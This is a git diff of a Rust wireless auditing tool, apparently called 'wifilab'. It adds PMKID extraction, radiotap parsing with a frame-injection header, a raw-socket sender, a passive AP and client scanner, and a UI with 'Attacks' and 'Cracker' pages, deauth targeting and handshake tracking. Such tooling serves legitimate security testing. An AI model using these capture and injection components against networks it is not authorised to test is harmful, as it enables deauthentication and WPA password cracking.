assert_eq!(extract_pmkid(&kd), Some(pmkid)); + } + + #[test] + fn extract_pmkid_skips_other_ies_first() { + // Prepend a different vendor IE and an SSID IE before the KDE. + let mut kd = vec![ + 0xdd, 0x07, 0x00, 0x50, 0xf2, 0x02, 0x00, 0x01, 0x00, // WMM-ish + 0x00, 0x03, b'f', b'o', b'o', // SSID + ]; + let pmkid = [0x42u8; 16]; + kd.extend_from_slice(&[0xdd, 0x14, 0x00, 0x0f, 0xac, 0x04]); + kd.extend_from_slice(&pmkid); + assert_eq!(extract_pmkid(&kd), Some(pmkid)); + } + + #[test] + fn extract_pmkid_rejects_wrong_subtype_and_oui() { + // subtype 6 (GTK KDE) must not match. + let gtk = [0xdd, 0x14, 0x00, 0x0f, 0xac, 0x06]; + assert_eq!(extract_pmkid(>k), None); + // different OUI (00 50 f2 = Microsoft) must not match. + let msft = [0xdd, 0x14, 0x00, 0x50, 0xf2, 0x04]; + assert_eq!(extract_pmkid(&msft), None); + // Truncated PMKID body (len < 20) → None. + let short = [0xdd, 0x08, 0x00, 0x0f, 0xac, 0x04, 1, 2]; + assert_eq!(extract_pmkid(&short), None); + // Empty input. + assert_eq!(extract_pmkid(&[]), None); + // Truncated trailing IE (len overruns buffer) → None. + let overrun = [0xdd, 0x14, 0x00, 0x0f]; + assert_eq!(extract_pmkid(&overrun), None); + } + + #[test] + fn extract_pmkid_ignores_non_keydata_rsn_style() { + // The RSN IE itself (id 48 = 0x30) contains a PMKID list at its tail, + // but our caller passes key_data KDEs only; an id-0x30 IE must be + // skipped, not misparsed. + let mut kd = vec![0x30, 0x14]; + kd.extend_from_slice(&[0u8; 20]); // rsn body filler + let pmkid = [0x11u8; 16]; + kd.extend_from_slice(&[0xdd, 0x14, 0x00, 0x0f, 0xac, 0x04]); + kd.extend_from_slice(&pmkid); + assert_eq!(extract_pmkid(&kd), Some(pmkid)); + } +} diff --git a/src/radiotap.rs b/src/radiotap.rs index e69de29..3ca5968 100644 --- a/src/radiotap.rs +++ b/src/radiotap.rs @@ -0,0 +1,211 @@ +//! Zero-copy radiotap header parser + TX injection header. +//! +//! Radiotap layout: version(1) pad(1) it_len(2 LE) it_present(4 LE, possibly +//! extended via bit 31 into further 32-bit words), then a field area whose +//! entries obey per-field alignment *relative to the start of the radiotap +//! header*. We only decode the fields we consume (channel frequency, antenna +//! signal) but walk the full known-table so unknown-but-known-size fields are +//! skipped correctly. Unknown extension bits beyond the table (vendor +//! namespaces vs. future standards): degrade gracefully and rely on it_len +//! to locate the 802.11 payload. + +/// Parsed metadata from an RX radiotap header. +#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] +pub struct RxMeta { + pub rssi_dbm: i8, // antenna signal, 0 if absent + pub freq_mhz: u16, // channel frequency, 0 if absent +} + +/// Radiotap header prepended to injected frames: version 0, pad 0, len 8, +/// no fields present. +pub const INJECT_HDR: [u8; 8] = [0, 0, 8, 0, 0, 0, 0, 0]; + +// Present-bit → (alignment, size) for the well-known fields, per the +// radiotap spec. Variable-size fields (TLVs, vendor namespaces) have no +// fixed entry and terminate the field walk. +fn field_spec(bit: u32) -> Option<(usize, usize)> { + Some(match bit { + 0 => (8, 8), // TSFT + 1 => (1, 1), // Flags + 2 => (1, 1), // Rate + 3 => (2, 4), // Channel (freq u16 + flags u16) + 4 => (2, 2), // FHSS + 5 => (1, 1), // Antenna signal, dBm (i8) + 6 => (1, 1), // Antenna noise, dBm + 7 => (2, 2), // Lock quality + 8 => (2, 2), // TX attenuation + 9 => (2, 2), // dB TX attenuation + 10 => (1, 1), // dBm TX power + 11 => (1, 1), // Antenna + 12 => (1, 1), // dB antenna signal + 13 => (1, 1), // dB antenna noise + 14 => (2, 2), // RX flags + 15 => (2, 2), // TX flags + 16 => (1, 1), // RTS retries + 17 => (1, 1), // Data retries + 18 => (4, 8), // XChannel + 19 => (1, 3), // MCS + 20 => (4, 8), // A-MPDU status + 21 => (2, 12), // VHT + 22 => (8, 12), // timestamp + 23 => (2, 12), // HE + 24 => (2, 12), // HE-MU + 25 => (1, 0), // 0-length PSDU + 26 => (2, 4), // L-SIG + _ => return None, + }) +} + +const MAX_PRESENT_WORDS: usize = 8; + +/// Parse radiotap; returns (meta, remaining 802.11 frame bytes). +/// Returns None if the buffer is not a well-formed radiotap header. +pub fn strip(frame: &[u8]) -> Option<(RxMeta, &[u8])> { + if frame.len() < 8 || frame[0] != 0 { + return None; + } + let it_len = u16::from_le_bytes([frame[2], frame[3]]) as usize; + if it_len < 8 || it_len > frame.len() { + return None; + } + + // Walk the present bitmap words (bit 31 = another word follows). + let mut words = [0u32; MAX_PRESENT_WORDS]; + let mut n_words = 0usize; + let mut word_off = 4usize; + loop { + if word_off + 4 > it_len { + return None; // bitmap truncated inside the header + } + let w = u32::from_le_bytes([ + frame[word_off], + frame[word_off + 1], + frame[word_off + 2], + frame[word_off + 3], + ]); + if n_words < MAX_PRESENT_WORDS { + words[n_words] = w; + n_words += 1; + } + word_off += 4; + if w & 0x8000_0000 == 0 { + break; + } + } + let fields_start = word_off; + + let mut meta = RxMeta::default(); + let mut pos = fields_start; + 'fields: for (wi, &w) in words[..n_words].iter().enumerate() { + for bit in 0..32u32 { + if bit == 31 || w & (1 << bit) == 0 { + continue; + } + let gbit = wi as u32 * 32 + bit; + let Some((align, size)) = field_spec(gbit) else { + // Variable-size or unknown field: cannot walk past it. + // Graceful degradation — it_len still bounds the payload. + break 'fields; + }; + pos = pos.next_multiple_of(align); + if pos + size > it_len { + break 'fields; // field sticks out of the header: malformed + } + match gbit { + 3 => meta.freq_mhz = u16::from_le_bytes([frame[pos], frame[pos + 1]]), + 5 => meta.rssi_dbm = frame[pos] as i8, + _ => {} + } + pos += size; + } + } + + Some((meta, &frame[it_len..])) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn build_header(present: &[u32], fields: &[u8], tail: &[u8]) -> Vec { + let it_len = 4 + present.len() * 4 + fields.len(); + let mut v = vec![0u8, 0, (it_len & 0xff) as u8, (it_len >> 8) as u8]; + for w in present { + v.extend_from_slice(&w.to_le_bytes()); + } + v.extend_from_slice(fields); + v.extend_from_slice(tail); + v + } + + #[test] + fn inject_hdr_roundtrips_as_empty_header() { + let payload = [0x80u8, 0x00, 0x00, 0x00]; + let mut f = INJECT_HDR.to_vec(); + f.extend_from_slice(&payload); + let (meta, rest) = strip(&f).expect("inject header parses"); + assert_eq!(meta, RxMeta::default()); + assert_eq!(rest, &payload); + } + + #[test] + fn channel_and_antenna_signal_parsed() { + // present: bit3 (channel, align 2) | bit5 (antenna signal, align 1) + let mut fields = [0u8; 5]; + fields[0..2].copy_from_slice(&2417u16.to_le_bytes()); // 2417 MHz = ch 2 + fields[2..4].copy_from_slice(&0x00a0u16.to_le_bytes()); + fields[4] = (-42i8) as u8; + let tail = [0xde, 0xad]; + let f = build_header(&[0x28], &fields, &tail); + let (meta, rest) = strip(&f).unwrap(); + assert_eq!(meta.freq_mhz, 2417); + assert_eq!(meta.rssi_dbm, -42); + assert_eq!(rest, &tail); + } + + #[test] + fn tsft_honors_8_byte_alignment() { + // present: bit0 (TSFT, align 8) | bit5 (antenna signal). Fields start + // at offset 8 so TSFT lands unaligned only when fields_start != 8; add + // one extension word to shift fields_start to 12 → TSFT aligns to 16. + let mut f = vec![0u8, 0, 0, 0, 0x21, 0x00, 0x00, 0x80]; // present w0: tsft|antenna|ext + f.extend_from_slice(&0u32.to_le_bytes()); // present w1: empty, ends bitmap + let fields_start = f.len(); // 12 + let pad = (fields_start + 7) / 8 * 8 - fields_start; + f.resize(fields_start + pad + 8 + 1, 0u8); + let rssi_at = fields_start + pad + 8; + f[rssi_at] = (-30i8) as u8; + let it_len = f.len() as u16; + f[2..4].copy_from_slice(&it_len.to_le_bytes()); + f.extend_from_slice(&[0xaa, 0xbb]); + let (meta, rest) = strip(&f).unwrap(); + assert_eq!(meta.rssi_dbm, -30); + assert_eq!(rest, &[0xaa, 0xbb]); + } + + #[test] + fn unknown_extension_bit_degrades_to_it_len() { + // present w0: rate (bit2) | ext; w1: unknown bit 13 (global 45). + // Rate consumed, unknown field stops the walk; payload still at it_len. + let present0 = 0x8000_0004u32; + let present1 = 0x0000_2000u32; + let fields = [0x0cu8, 0x00, 0x00, 0x00]; // rate + opaque bytes + let tail = [0x55u8; 4]; + let f = build_header(&[present0, present1], &fields, &tail); + let (meta, rest) = strip(&f).unwrap(); + assert_eq!(meta, RxMeta::default()); + assert_eq!(rest, &tail); + } + + #[test] + fn malformed_headers_rejected() { + assert!(strip(&[]).is_none()); + assert!(strip(&[0, 0, 4]).is_none()); // too short + // version != 0 + assert!(strip(&[1, 0, 8, 0, 0, 0, 0, 0]).is_none()); + // it_len < 8 + assert!(strip(&[0, 0, 7, 0, 0, 0, 0, 0, 0]).is_none()); + // it_len beyond frame + assert!(strip(&[0, 0, 64, 0, 0, 0, 0, 0]).is_none()); + } +} diff --git a/src/rawsock.rs b/src/rawsock.rs index e69de29..87b8c0b 100644 --- a/src/rawsock.rs +++ b/src/rawsock.rs @@ -0,0 +1,171 @@ +//! Raw layer-2 socket — the only module in the crate allowed to use `unsafe`. +//! +//! AF_PACKET/SOCK_RAW with ETH_P_ALL, bound to a single interface via +//! sockaddr_ll. In monitor mode delivered frames are radiotap + 802.11; +//! transmitted frames must already carry the radiotap INJECT_HDR prefix. + +use std::ffi::CString; +use std::io; +use std::mem::size_of; + +pub struct RawSocket { + fd: i32, + #[allow(dead_code)] + ifindex: i32, + ifname: String, +} + +impl RawSocket { + /// AF_PACKET SOCK_RAW ETH_P_ALL bound to ifname. Requires CAP_NET_RAW. + pub fn open(ifname: &str) -> io::Result { + let cname = CString::new(ifname) + .map_err(|_| io::Error::new(io::ErrorKind::InvalidInput, "ifname contains NUL"))?; + // SAFETY: plain libc calls on stack-allocated data; fd/checks below. + unsafe { + let ifindex = libc::if_nametoindex(cname.as_ptr()); + if ifindex == 0 { + return Err(io::Error::new( + io::ErrorKind::NotFound, + format!("no such interface: {ifname}"), + )); + } + let fd = libc::socket( + libc::AF_PACKET, + libc::SOCK_RAW | libc::SOCK_CLOEXEC, + (libc::ETH_P_ALL as u16).to_be() as i32, + ); + if fd < 0 { + return Err(io::Error::last_os_error()); + } + let sll = libc::sockaddr_ll { + sll_family: libc::AF_PACKET as u16, + sll_protocol: (libc::ETH_P_ALL as u16).to_be(), + sll_ifindex: ifindex as i32, + sll_hatype: 0, + sll_pkttype: 0, + sll_halen: 0, + sll_addr: [0; 8], + }; + if libc::bind( + fd, + &sll as *const libc::sockaddr_ll as *const libc::sockaddr, + size_of::() as libc::socklen_t, + ) < 0 + { + let err = io::Error::last_os_error(); + libc::close(fd); + return Err(err); + } + Ok(RawSocket { + fd, + ifindex: ifindex as i32, + ifname: ifname.to_string(), + }) + } + } + + pub fn ifname(&self) -> String { + self.ifname.clone() + } + + /// Blocking receive of one L2 frame (radiotap + 802.11 in monitor mode). + /// Retries transparently on EINTR. + pub fn recv(&self, buf: &mut [u8]) -> io::Result { + loop { + // SAFETY: fd is a live socket owned by self; buf is valid for + // buf.len() writable bytes. + let n = unsafe { libc::recv(self.fd, buf.as_mut_ptr().cast(), buf.len(), 0) }; + if n >= 0 { + return Ok(n as usize); + } + let err = io::Error::last_os_error(); + if err.kind() != io::ErrorKind::Interrupted { + return Err(err); + } + } + } + + /// Transmit a frame prefixed with radiotap INJECT_HDR (len includes it). + pub fn send(&self, frame_with_radiotap: &[u8]) -> io::Result { + loop { + // SAFETY: fd is a live socket; slice is valid readable memory. + let n = unsafe { + libc::send( + self.fd, + frame_with_radiotap.as_ptr().cast(), + frame_with_radiotap.len(), + 0, + ) + }; + if n >= 0 { + return Ok(n as usize); + } + let err = io::Error::last_os_error(); + if err.kind() != io::ErrorKind::Interrupted { + return Err(err); + } + } + } + + /// Receive timeout toggle for poll-style loops. 0 disables the timeout. + pub fn set_timeout(&self, ms: u32) -> io::Result<()> { + let tv = libc::timeval { + tv_sec: (ms / 1000) as libc::time_t, + tv_usec: ((ms % 1000) * 1000) as libc::suseconds_t, + }; + // SAFETY: fd is a live socket; tv outlives the call. + let rc = unsafe { + libc::setsockopt( + self.fd, + libc::SOL_SOCKET, + libc::SO_RCVTIMEO, + &tv as *const libc::timeval as *const libc::c_void, + size_of::() as libc::socklen_t, + ) + }; + if rc < 0 { + return Err(io::Error::last_os_error()); + } + Ok(()) + } +} + +impl Drop for RawSocket { + fn drop(&mut self) { + // SAFETY: fd came from socket() and is closed exactly once here. + unsafe { + libc::close(self.fd); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + /// Without root/CAP_NET_RAW this returns EPERM; with it, loopback opens + /// fine. Both outcomes are acceptable — the point is no panic and that a + /// successful open reports its name. + #[test] + fn open_loopback_best_effort() { + match RawSocket::open("lo") { + Ok(sock) => { + assert_eq!(sock.ifname(), "lo"); + assert!(sock.set_timeout(100).is_ok()); + } + Err(e) => { + let k = e.kind(); + assert!(matches!( + k, + io::ErrorKind::PermissionDenied | io::ErrorKind::NotFound | io::ErrorKind::Other + )); + } + } + } + + #[test] + fn bogus_iface_is_an_error_not_a_panic() { + let res = RawSocket::open("no_such_iface_zz"); + assert!(res.is_err()); + } +} diff --git a/src/scanner.rs b/src/scanner.rs index e69de29..08b1dd6 100644 --- a/src/scanner.rs +++ b/src/scanner.rs @@ -0,0 +1,475 @@ +//! Passive channel-hopping scanner: discovers APs (beacon/probe-response) +//! and client stations (probe-request + data frames), live-updating the UI +//! via [`Event`]s until `stop` flips true. Pure discovery — handshake +//! correlation happens in [`crate::handshake`]. + +use std::collections::BTreeMap; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::time::{Duration, Instant}; + +use anyhow::{Context, Result}; +use crossbeam_channel::Sender; + +use crate::common::{AccessPoint, ClientInfo, Event, HOP_CHANNELS_24, HOP_CHANNELS_5, MacAddr}; +use crate::radiotap::RxMeta; +use crate::rawsock::RawSocket; +use crate::{dot11, iface, radiotap}; + +/// APs go stale (ApLost) after this much silence. +const AP_EXPIRE: Duration = Duration::from_secs(30); +/// Clients go stale after this much silence. +const CLIENT_EXPIRE: Duration = Duration::from_secs(60); + +pub struct ScannerConfig { + pub ifname: String, + /// Channels to hop; empty = all 2.4 + 5 GHz hop channels. + pub channels: Vec, + /// Dwell per channel. + pub dwell_ms: u32, + /// RSSI below this blocks creation of new AP/client entries (updates to + /// already-known entries are always accepted). + pub rssi_floor: i8, +} + +/// Channel-frequency → channel number for the bands we hop. +fn freq_to_channel(freq_mhz: u16) -> Option { + match freq_mhz { + // 2.4 GHz: ch 1..14, 2407 + 5*ch (ch14 = 2484). + 2412..=2472 => Some(((freq_mhz - 2407) / 5) as u8), + 2484 => Some(14), + // 5 GHz: ch = (freq - 5000) / 5. + 5000..=5900 => Some(((freq_mhz - 5000) / 5) as u8), + _ => None, + } +} + +/// Stateful discovery engine — owned by `run`, unit-tested via `ingest`. +struct Scanner { + aps: BTreeMap, + clients: BTreeMap, + rssi_floor: i8, +} + +impl Scanner { + fn new(rssi_floor: i8) -> Self { + Self { + aps: BTreeMap::new(), + clients: BTreeMap::new(), + rssi_floor, + } + } + + /// Feed one received frame. Radiotap metadata in `meta`, 802.11 bytes in + /// `frame` (already stripped), wall clock in `now` (test-injectable). + fn ingest(&mut self, meta: &RxMeta, frame: &[u8], now: Instant, tx: &Sender) { + // AP from beacon / probe-response. + if let Some(m) = dot11::parse_beacon_or_probe(frame) { + // Trust the DS-parameter IE; fall back to the radiotap carrier + // frequency hint when the IE is absent. + let channel = m + .channel + .or_else(|| freq_to_channel(meta.freq_mhz)) + .unwrap_or(0); + let ssid = m.ssid.unwrap_or_default(); + match self.aps.get_mut(&m.bssid) { + Some(ap) => { + let mut changed = false; + if meta.rssi_dbm != 0 && meta.rssi_dbm > ap.rssi_dbm { + ap.rssi_dbm = meta.rssi_dbm; + changed = true; + } + if !ssid.is_empty() && ap.ssid != ssid { + ap.ssid = ssid.clone(); + changed = true; + } + if channel != 0 && ap.channel != channel { + ap.channel = channel; + changed = true; + } + if m.security != ap.security { + ap.security = m.security; + changed = true; + } + ap.beacons += 1; + ap.last_seen = now; + if changed { + let _ = tx.send(Event::ApUpdated(ap.clone())); + } + } + None => { + if meta.rssi_dbm != 0 && meta.rssi_dbm < self.rssi_floor { + return; // weak signal: don't create the entry + } + let ap = AccessPoint { + bssid: m.bssid, + ssid, + channel, + security: m.security, + rssi_dbm: meta.rssi_dbm, + beacons: 1, + last_seen: now, + }; + self.aps.insert(m.bssid, ap.clone()); + let _ = tx.send(Event::ApUpdated(ap)); + } + } + return; + } + + // Client probing. + if let Some((sta, _ssid)) = dot11::parse_probe_req(frame) { + if sta.is_multicast() || sta.is_zero() { + return; + } + self.note_client(sta, None, meta, now, tx); + return; + } + + // Clients talking data: learn station side; the bssid side refreshes + // the AP liveness (channel/time) without bumping beacon count. + if let Some((bssid, sta)) = dot11::data_endpoints(frame) { + if !sta.is_multicast() && !sta.is_zero() { + self.note_client(sta, Some(bssid), meta, now, tx); + } + if let Some(ap) = self.aps.get_mut(&bssid) { + ap.last_seen = now; + } + } + } + + fn note_client( + &mut self, + sta: MacAddr, + ap: Option, + meta: &RxMeta, + now: Instant, + tx: &Sender, + ) { + match self.clients.get_mut(&sta) { + Some(c) => { + let mut changed = false; + if meta.rssi_dbm != 0 && meta.rssi_dbm > c.rssi_dbm { + c.rssi_dbm = meta.rssi_dbm; + changed = true; + } + if let Some(b) = ap { + if c.ap != Some(b) { + c.ap = Some(b); + changed = true; + } + } + c.frames += 1; + c.last_seen = now; + if changed { + let _ = tx.send(Event::ClientUpdated(c.clone())); + } + } + None => { + if meta.rssi_dbm != 0 && meta.rssi_dbm < self.rssi_floor { + return; + } + let c = ClientInfo { + mac: sta, + ap, + rssi_dbm: meta.rssi_dbm, + frames: 1, + last_seen: now, + }; + self.clients.insert(sta, c.clone()); + let _ = tx.send(Event::ClientUpdated(c)); + } + } + } + + /// Expire silent entries, emitting ApLost / (clients just drop out — + /// contract has no ClientLost event; stale clients stop being updated). + fn expire(&mut self, now: Instant, tx: &Sender) { + let gone: Vec = self + .aps + .iter() + .filter(|(_, ap)| now.duration_since(ap.last_seen) > AP_EXPIRE) + .map(|(b, _)| *b) + .collect(); + for b in gone { + self.aps.remove(&b); + let _ = tx.send(Event::ApLost(b)); + } + self.clients + .retain(|_, c| now.duration_since(c.last_seen) <= CLIENT_EXPIRE); + } +} + +/// Blocking channel-hop passive scan on an interface the caller already put +/// into monitor mode. Returns when `stop` flips true. +pub fn run(cfg: ScannerConfig, tx: Sender, stop: Arc) -> Result<()> { + let sock = RawSocket::open(&cfg.ifname) + .with_context(|| format!("opening {} for scan", cfg.ifname))?; + sock.set_timeout(cfg.dwell_ms).context("set_timeout")?; + + let channels: Vec = if cfg.channels.is_empty() { + HOP_CHANNELS_24 + .iter() + .chain(HOP_CHANNELS_5.iter()) + .copied() + .collect() + } else { + cfg.channels.clone() + }; + let _ = tx.send(Event::Log(format!( + "scanner: {} channels, {} ms dwell on {}", + channels.len(), + cfg.dwell_ms, + cfg.ifname + ))); + + let mut scanner = Scanner::new(cfg.rssi_floor); + let mut buf = vec![0u8; 4096]; + let mut ch_idx = 0usize; + + while !stop.load(Ordering::Relaxed) { + let ch = channels[ch_idx]; + ch_idx = (ch_idx + 1) % channels.len(); + if let Err(e) = iface::set_channel(&cfg.ifname, ch) { + let _ = tx.send(Event::Log(format!( + "scanner: hop to ch {ch} failed: {e:#}" + ))); + } + + // Drain frames until the dwell elapses (recv timeout bounds it). + let dwell_start = Instant::now(); + loop { + match sock.recv(&mut buf) { + Ok(n) => { + let now = Instant::now(); + if let Some((meta, frame)) = radiotap::strip(&buf[..n]) { + scanner.ingest(&meta, frame, now, &tx); + } + } + Err(e) + if e.kind() == std::io::ErrorKind::WouldBlock + || e.kind() == std::io::ErrorKind::TimedOut => + { + break; // dwell over (set_timeout) + } + Err(e) if e.kind() == std::io::ErrorKind::Interrupted => continue, + Err(e) => { + let _ = tx.send(Event::Error(format!("scanner recv: {e}"))); + break; + } + } + if dwell_start.elapsed() >= Duration::from_millis(cfg.dwell_ms as u64) * 4 { + break; // safety net if timeout doesn't fire + } + if stop.load(Ordering::Relaxed) { + break; + } + } + + scanner.expire(Instant::now(), &tx); + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn ap() -> MacAddr { + "aa:bb:cc:dd:ee:ff".parse().unwrap() + } + + fn sta() -> MacAddr { + // Unicast (I/G bit clear) — 0x11 would be multicast and filtered. + "12:22:33:44:55:66".parse().unwrap() + } + + /// Hand-rolled beacon: radiotap-stripped 802.11 for `dot11` — FC 0x0080, + /// addr1 broadcast, addr2/addr3 bssid, 12 fixed bytes, SSID + DS IEs. + fn beacon_frame(bssid: &MacAddr, ssid: &str, channel: u8) -> Vec { + let mut f = Vec::new(); + f.extend_from_slice(&0x0080u16.to_le_bytes()); // FC beacon + f.extend_from_slice(&0u16.to_le_bytes()); // duration + f.extend_from_slice(&MacAddr::BROADCAST.0); // addr1 + f.extend_from_slice(&bssid.0); // addr2 transmitter + f.extend_from_slice(&bssid.0); // addr3 bssid + f.extend_from_slice(&0u16.to_le_bytes()); // seq + f.extend_from_slice(&[0u8; 8]); // timestamp + f.extend_from_slice(&100u16.to_le_bytes()); // beacon interval + f.extend_from_slice(&0x0431u16.to_le_bytes()); // capability (privacy) + f.push(0); // SSID IE + f.push(ssid.len() as u8); + f.extend_from_slice(ssid.as_bytes()); + f.push(3); // DS param IE + f.push(1); + f.push(channel); + f + } + + /// Probe request (FC 0x0040) from `sta`, broadcast dest, given SSID. + fn probe_req_frame(sta: &MacAddr, ssid: Option<&str>) -> Vec { + let mut f = Vec::new(); + f.extend_from_slice(&0x0040u16.to_le_bytes()); + f.extend_from_slice(&0u16.to_le_bytes()); + f.extend_from_slice(&MacAddr::BROADCAST.0); + f.extend_from_slice(&sta.0); + f.extend_from_slice(&MacAddr::BROADCAST.0); + f.extend_from_slice(&0u16.to_le_bytes()); + let s = ssid.unwrap_or(""); + f.push(0); + f.push(s.len() as u8); + f.extend_from_slice(s.as_bytes()); + f + } + + /// Data frame sta → ap (ToDS): addr1=bssid, addr2=sta, addr3=da. + fn data_frame_tods(bssid: &MacAddr, sta: &MacAddr) -> Vec { + let mut f = Vec::new(); + f.extend_from_slice(&0x0108u16.to_le_bytes()); // data, ToDS + f.extend_from_slice(&0u16.to_le_bytes()); + f.extend_from_slice(&bssid.0); // addr1 = bssid + f.extend_from_slice(&sta.0); // addr2 = sta + f.extend_from_slice(&[0u8; 6]); // addr3 = da + f.extend_from_slice(&0u16.to_le_bytes()); + f.extend_from_slice(&[0u8; 8]); // llc/payload filler + f + } + + fn meta(rssi: i8, freq: u16) -> RxMeta { + RxMeta { + rssi_dbm: rssi, + freq_mhz: freq, + } + } + + #[test] + fn beacon_attached_creates_ap_with_ssid_and_channel() { + let (tx, rx) = crossbeam_channel::unbounded(); + let mut sc = Scanner::new(-85); + let now = Instant::now(); + sc.ingest(&meta(-42, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx); + match rx.try_recv() { + Ok(Event::ApUpdated(a)) => { + assert_eq!(a.bssid, ap()); + assert_eq!(a.ssid, "parafin"); + assert_eq!(a.channel, 6); + assert_eq!(a.rssi_dbm, -42); + } + other => panic!("expected ApUpdated, got {other:?}"), + } + } + + #[test] + fn beacon_uses_freq_hint_when_no_ds_ie() { + let (tx, rx) = crossbeam_channel::unbounded(); + let mut sc = Scanner::new(-85); + let now = Instant::now(); + let mut f = beacon_frame(&ap(), "parafin", 6); + f.truncate(f.len() - 3); // drop DS IE + sc.ingest(&meta(-40, 2437), &f, now, &tx); + match rx.try_recv() { + Ok(Event::ApUpdated(a)) => assert_eq!(a.channel, 6), + other => panic!("expected ApUpdated, got {other:?}"), + } + } + + #[test] + fn weak_beacon_not_created_but_update_accepted_later() { + let (tx, rx) = crossbeam_channel::unbounded(); + let mut sc = Scanner::new(-85); + let now = Instant::now(); + // -90 < floor: no event, no entry. + sc.ingest(&meta(-90, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx); + assert!(rx.try_recv().is_err()); + assert!(sc.aps.is_empty()); + // Once created (hit stronger frame), later weak updates are accepted: + // beacon counter still advances even though no event is emitted. + sc.ingest(&meta(-60, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx); + assert!(rx.try_recv().is_ok()); + sc.ingest(&meta(-90, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx); + assert_eq!(sc.aps[&ap()].beacons, 2); + } + + #[test] + fn rssi_improvement_emits_update_worsening_does_not() { + let (tx, rx) = crossbeam_channel::unbounded(); + let mut sc = Scanner::new(-85); + let now = Instant::now(); + sc.ingest(&meta(-70, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx); + let _ = rx.try_recv(); // creation + sc.ingest(&meta(-75, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx); + assert!(rx.try_recv().is_err()); // worse: silent + sc.ingest(&meta(-50, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx); + match rx.try_recv() { + Ok(Event::ApUpdated(a)) => assert_eq!(a.rssi_dbm, -50), + other => panic!("expected ApUpdated improvement, got {other:?}"), + } + } + + #[test] + fn probe_req_creates_client_and_data_freshens() { + let (tx, rx) = crossbeam_channel::unbounded(); + let mut sc = Scanner::new(-85); + let now = Instant::now(); + sc.ingest(&meta(-55, 0), &probe_req_frame(&sta(), Some("parafin")), now, &tx); + match rx.try_recv() { + Ok(Event::ClientUpdated(c)) => { + assert_eq!(c.mac, sta()); + assert_eq!(c.ap, None); + } + other => panic!("expected ClientUpdated, got {other:?}"), + } + sc.ingest(&meta(-55, 0), &data_frame_tods(&ap(), &sta()), now, &tx); + match rx.try_recv() { + Ok(Event::ClientUpdated(c)) => assert_eq!(c.ap, Some(ap())), + other => panic!("expected ClientUpdated with ap, got {other:?}"), + } + assert_eq!(sc.clients[&sta()].frames, 2); + } + + #[test] + fn multicast_ta_is_ignored() { + let (tx, rx) = crossbeam_channel::unbounded(); + let mut sc = Scanner::new(-85); + let now = Instant::now(); + let mcast = MacAddr([0x33, 0x33, 0, 0, 0, 1]); + sc.ingest(&meta(-40, 0), &probe_req_frame(&mcast, None), now, &tx); + assert!(rx.try_recv().is_err()); + assert!(sc.clients.is_empty()); + } + + #[test] + fn aging_emits_ap_lost_and_drops_clients() { + let (tx, rx) = crossbeam_channel::unbounded(); + let mut sc = Scanner::new(-85); + let t0 = Instant::now(); + sc.ingest(&meta(-40, 0), &beacon_frame(&ap(), "parafin", 6), t0, &tx); + sc.ingest(&meta(-40, 0), &probe_req_frame(&sta(), None), t0, &tx); + let _ = rx.try_recv(); + let _ = rx.try_recv(); + + // 31 s later: AP expired, client still alive. + let t1 = t0 + Duration::from_secs(31); + sc.expire(t1, &tx); + match rx.try_recv() { + Ok(Event::ApLost(b)) => assert_eq!(b, ap()), + other => panic!("expected ApLost, got {other:?}"), + } + assert!(sc.clients.contains_key(&sta())); + + // 61 s: client gone too. + sc.expire(t0 + Duration::from_secs(61), &tx); + assert!(sc.clients.is_empty()); + } + + #[test] + fn freq_map_sanity() { + assert_eq!(freq_to_channel(2412), Some(1)); + assert_eq!(freq_to_channel(2437), Some(6)); + assert_eq!(freq_to_channel(2472), Some(13)); + assert_eq!(freq_to_channel(2484), Some(14)); + assert_eq!(freq_to_channel(5180), Some(36)); + assert_eq!(freq_to_channel(5825), Some(165)); + assert_eq!(freq_to_channel(0), None); + } +} diff --git a/src/ui/app.rs b/src/ui/app.rs new file mode 100644 index 0000000..e566465 --- /dev/null +++ b/src/ui/app.rs @@ -0,0 +1,512 @@ +//! Root view: nav rail, header bar (interface picker, privilege badge, +//! monitor/capture toggle), page content, status line, and the background +//! task that polls the backend event channel. + +use std::collections::BTreeMap; +use std::time::Duration; + +use crossbeam_channel::{Receiver, Sender}; +use gpui::{ + App, AppContext, Context, Entity, FocusHandle, FontWeight, InteractiveElement, IntoElement, + ParentElement, Render, SharedString, StatefulInteractiveElement, Styled, Window, div, + prelude::FluentBuilder, px, +}; +use gpuikit::elements::badge::badge; +use gpuikit::elements::button::button; +use gpuikit::elements::select::{SelectState, select}; +use gpuikit::elements::table::SortDescriptor; +use gpuikit::elements::toast::ToastExt; +use gpuikit::input::InputState; +use gpuikit::layout::{h_stack, v_stack}; +use gpuikit::theme::{ActiveTheme, Themeable}; + +use crate::backend::Backend; +use crate::common::{Event, MacAddr}; +use crate::ui::{attacks, cracker, log as log_view, networks, state::AppState}; + +/// How often the UI drains the backend event channel. +const EVENT_POLL: Duration = Duration::from_millis(100); + +/// Left nav destinations. +#[derive(Clone, Copy, PartialEq, Eq)] +pub enum Page { + Networks, + Attacks, + Cracker, + Log, +} + +impl Page { + const ALL: [Page; 4] = [Page::Networks, Page::Attacks, Page::Cracker, Page::Log]; + + fn label(self) -> &'static str { + match self { + Page::Networks => "Networks", + Page::Attacks => "Attacks", + Page::Cracker => "Cracker", + Page::Log => "Log", + } + } +} + +pub struct AppRoot { + pub state: AppState, + /// Backend event channel (mock thread today, real backend later). + pub rx: Receiver, + /// UI-triggered actions are injected into the same pipeline. + pub tx: Sender, + pub page: Page, + /// Privilege indicator; real value from [`crate::iface::is_root`]. + pub is_root: bool, + /// Real radio/attack/cracker orchestrator. `None` in mock mode or + /// before the first "Start capture". + pub backend: Option, + /// Mock data mode (`--mock` / `WIFILAB_MOCK=1`): never touches devices. + pub is_mock: bool, + /// Target BSSID picked on the Networks page (AP row or client row). + pub selected: Option, + /// Client station picked on the Networks page; deauth targets it + /// instead of the broadcast address when set (AP stays `selected`). + pub selected_client: Option, + /// Message bitmask (see [`Event::HandshakeProgress`]) per in-flight + /// 4-way 